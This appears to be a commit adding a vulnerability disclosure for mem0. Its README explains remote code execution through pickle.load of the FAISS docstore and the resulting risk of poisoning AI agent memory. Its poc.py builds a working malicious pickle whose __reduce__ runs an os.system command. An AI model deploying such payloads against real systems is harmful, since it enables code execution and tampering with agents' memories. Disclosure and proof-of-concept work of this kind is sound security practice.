PoC: mem0 — FAISS pickle.load on vector store docstore
Browse files
README.md
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# mem0 — RCE via `pickle.load()` on FAISS Vector Store Docstore
|
| 2 |
+
|
| 3 |
+
## Vulnerability Type
|
| 4 |
+
CWE-502: Deserialization of Untrusted Data
|
| 5 |
+
|
| 6 |
+
## Severity
|
| 7 |
+
High — pickle.load on FAISS docstore file enables RCE if persist directory is writable
|
| 8 |
+
|
| 9 |
+
## Affected Code
|
| 10 |
+
**File:** `mem0/vector_stores/faiss.py:94`
|
| 11 |
+
|
| 12 |
+
```python
|
| 13 |
+
with open(docstore_path, "rb") as f:
|
| 14 |
+
self.docstore, self.index_to_id = pickle.load(f)
|
| 15 |
+
```
|
| 16 |
+
|
| 17 |
+
The docstore is loaded from a persistent file on disk. If an attacker can write to this file (via path traversal, shared storage, or container escape), the next FAISS index load triggers RCE.
|
| 18 |
+
|
| 19 |
+
## AI Impact (10x Multiplier)
|
| 20 |
+
mem0 is an AI memory layer used by agents. The FAISS docstore contains the agent's long-term memory. Compromising it enables:
|
| 21 |
+
- **Memory poisoning** — replace docstore with attacker-controlled memories
|
| 22 |
+
- **Agent behavior manipulation** — agent retrieves malicious memories during inference
|
| 23 |
+
- **Data exfiltration** — RCE gives access to all stored memories across all users
|
| 24 |
+
|
| 25 |
+
## Invariant Violated
|
| 26 |
+
S16 (DeserializationGuard) + S14 (MemoryInputValidation)
|
poc.py
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""mem0 — FAISS vector store pickle.load on docstore PoC
|
| 2 |
+
|
| 3 |
+
Affected: mem0/vector_stores/faiss.py:94
|
| 4 |
+
"""
|
| 5 |
+
import pickle
|
| 6 |
+
import os
|
| 7 |
+
|
| 8 |
+
class MemoryPoison:
|
| 9 |
+
def __reduce__(self):
|
| 10 |
+
return (os.system, ('id > /tmp/mem0_pwned',))
|
| 11 |
+
|
| 12 |
+
payload = pickle.dumps(MemoryPoison())
|
| 13 |
+
print(f"Payload: {len(payload)} bytes")
|
| 14 |
+
print("Attack: replace <persist_dir>/docstore.pkl")
|
| 15 |
+
print("AI Impact: mem0 is an AI memory layer. Compromises agent long-term memory.")
|